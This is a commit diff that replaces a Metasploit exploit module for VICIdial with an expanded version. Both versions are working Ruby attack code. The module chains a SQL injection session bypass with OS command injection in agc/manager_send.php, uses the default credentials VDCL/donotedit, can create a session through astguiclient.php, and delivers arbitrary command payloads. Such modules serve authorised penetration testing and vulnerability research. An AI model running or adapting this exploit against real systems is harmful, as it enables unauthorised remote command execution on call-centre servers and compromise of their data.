commit
9516237100
|
@ -1,119 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VICIdial Manager Send OS Command Injection',
|
||||
'Description' => %q{
|
||||
The file agc/manager_send.php in the VICIdial web application uses
|
||||
unsanitized user input as part of a command that is executed using the PHP
|
||||
passthru() function. A valid username, password and session are needed to access
|
||||
the injection point. Fortunately, VICIdial has two built-in accounts with default
|
||||
passwords and the manager_send.php file has a SQL injection vulnerability that can
|
||||
be used to bypass the session check as long as at least one session has been
|
||||
created at some point in time. The results of the injected command are returned
|
||||
as part of the response from the web server. Affected versions include 2.7RC1,
|
||||
2.7, and 2.8-403a. Other versions are likely affected as well. The default
|
||||
credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Adam Caudill <adam@adamcaudill.com>', # Vulnerability discovery
|
||||
'AverageSecurityGuy <stephen@averagesecurityguy.info>' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ]
|
||||
],
|
||||
'DisclosureDate' => 'Oct 23 2013',
|
||||
'Privileged' => true,
|
||||
'Platform' => ['linux','unix'],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'CMD',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']),
|
||||
OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def request(cmd)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/agc/manager_send.php',
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
"enable_sipsak_messages" => "1",
|
||||
"allow_sipsak_messages" => "1",
|
||||
"protocol" => "sip",
|
||||
"ACTION" => "OriginateVDRelogin",
|
||||
"session_name" => rand_text_alpha(12), # Random session name
|
||||
"server_ip" => "' OR '1' = '1", # SQL Injection to validate the session
|
||||
"extension" => ";#{cmd};",
|
||||
"user" => datastore['USERNAME'],
|
||||
"pass" => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil? or res.code == 404
|
||||
vprint_error("#{rhost}:#{rport} - No response or page not found.")
|
||||
return nil
|
||||
end
|
||||
|
||||
if res.body =~ /Invalid Username\/Password/
|
||||
vprint_error("#{rhost}:#{rport} - Invalid Username or Password.")
|
||||
return nil
|
||||
end
|
||||
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
resp = request('ls -a .')
|
||||
|
||||
if resp.nil?
|
||||
vprint_error("Check was unsuccessful")
|
||||
return Exploit::CheckCode::Unknown
|
||||
else
|
||||
vprint_line(resp.body)
|
||||
if resp.body =~ /\.\n\.\.\n/m
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
request("#{payload.encode}")
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,200 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VICIdial Manager Send OS Command Injection',
|
||||
'Description' => %q{
|
||||
The file agc/manager_send.php in the VICIdial web application uses
|
||||
unsanitized user input as part of a command that is executed using the PHP
|
||||
passthru() function. A valid username, password and session are needed to access
|
||||
the injection point. Fortunately, VICIdial has two built-in accounts with default
|
||||
passwords and the manager_send.php file has a SQL injection vulnerability that can
|
||||
be used to bypass the session check as long as at least one session has been
|
||||
created at some point in time. In case there isn't any valid session, the user can
|
||||
provide astGUIcient credentials in order to create one. The results of the injected
|
||||
command are returned as part of the response from the web server. Affected versions
|
||||
include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The
|
||||
default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Adam Caudill <adam@adamcaudill.com>', # Vulnerability discovery
|
||||
'AverageSecurityGuy <stephen@averagesecurityguy.info>', # Metasploit Module
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-4467' ],
|
||||
[ 'CVE', '2013-4468' ],
|
||||
[ 'OSVDB', '98903' ],
|
||||
[ 'OSVDB', '98902' ],
|
||||
[ 'BID', '63340' ],
|
||||
[ 'BID', '63288' ],
|
||||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ],
|
||||
[ 'URL', 'http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/' ]
|
||||
],
|
||||
'DisclosureDate' => 'Oct 23 2013',
|
||||
'Privileged' => true,
|
||||
'Platform' => ['unix'],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 8000, # Apache's limit for GET, it should be enough one to fit any payload
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
# Based on vicibox availability of binaries
|
||||
'RequiredCmd' => 'generic perl python awk bash telnet nc openssl',
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'CMD',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']),
|
||||
OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']),
|
||||
OptString.new('USER_ASTGUI', [false, 'astGUIcient User Login', '6666']),
|
||||
OptString.new('PASS_ASTGUI', [false, 'astGUIcient User Password', '1234']),
|
||||
OptString.new('PHONE_USER_ASTGUI', [false, 'astGUIcient Phone Login', '6666']),
|
||||
OptString.new('PHONE_PASSWORD_ASTGUI', [false, 'astGUIcient Phone Password', '1234'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Login through astGUIclient and create a web_client_sessions if there isn't
|
||||
# something available
|
||||
def login
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/agc/astguiclient.php',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
"user" => datastore["USER_ASTGUI"],
|
||||
"pass" => datastore["PASS_ASTGUI"],
|
||||
"phone_login" => datastore["PHONE_USER_ASTGUI"],
|
||||
"phone_pass" => datastore["PHONE_PASSWORD_ASTGUI"]
|
||||
}
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return nil
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def astguiclient_creds?
|
||||
if datastore["USER_ASTGUI"].nil? or datastore["USER_ASTGUI"].empty?
|
||||
return false
|
||||
end
|
||||
|
||||
if datastore["PASS_ASTGUI"].nil? or datastore["PASS_ASTGUI"].empty?
|
||||
return false
|
||||
end
|
||||
|
||||
if datastore["PHONE_USER_ASTGUI"].nil? or datastore["PHONE_USER_ASTGUI"].empty?
|
||||
return false
|
||||
end
|
||||
|
||||
if datastore["PHONE_PASSWORD_ASTGUI"].nil? or datastore["PHONE_PASSWORD_ASTGUI"].empty?
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def request(cmd, timeout = 20)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/agc/manager_send.php',
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
"enable_sipsak_messages" => "1",
|
||||
"allow_sipsak_messages" => "1",
|
||||
"protocol" => "sip",
|
||||
"ACTION" => "OriginateVDRelogin",
|
||||
"session_name" => rand_text_alpha(12), # Random session name
|
||||
"server_ip" => "' OR '1' = '1", # SQL Injection to validate the session
|
||||
"extension" => ";#{cmd};",
|
||||
"user" => datastore['USERNAME'],
|
||||
"pass" => datastore['PASSWORD']
|
||||
}
|
||||
}, timeout)
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return nil
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def check
|
||||
res = request('ls -a .')
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body =~ /Invalid Username\/Password/
|
||||
vprint_error("#{peer} - Invalid Username or Password.")
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif res.body =~ /Invalid session_name/
|
||||
vprint_error("#{peer} - Web client session not found")
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif res.body =~ /\.\n\.\.\n/m
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Checking if injection is possible...")
|
||||
res = request('ls -a .')
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Failure::Unknown - "#{peer} - Unknown response, check the target")
|
||||
end
|
||||
|
||||
if res.body =~ /Invalid Username\/Password/
|
||||
fail_with(Failure::NoAccess - "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD")
|
||||
end
|
||||
|
||||
if res.body =~ /Invalid session_name/
|
||||
fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds?
|
||||
print_error("#{peer} - Valid web client session not found, trying to create one...")
|
||||
res = login
|
||||
unless res and res.code == 200 and res.body =~ /you are logged/
|
||||
fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.")
|
||||
end
|
||||
res = request('ls -a .')
|
||||
end
|
||||
|
||||
unless res and res.code == 200 and res.body =~ /\.\n\.\.\n/m
|
||||
fail_with(Failure::NotVulnerable, "#{peer} - Injection hasn't been possible")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Exploitation looks feasible, proceeding... ")
|
||||
request("#{payload.encoded}", 1)
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue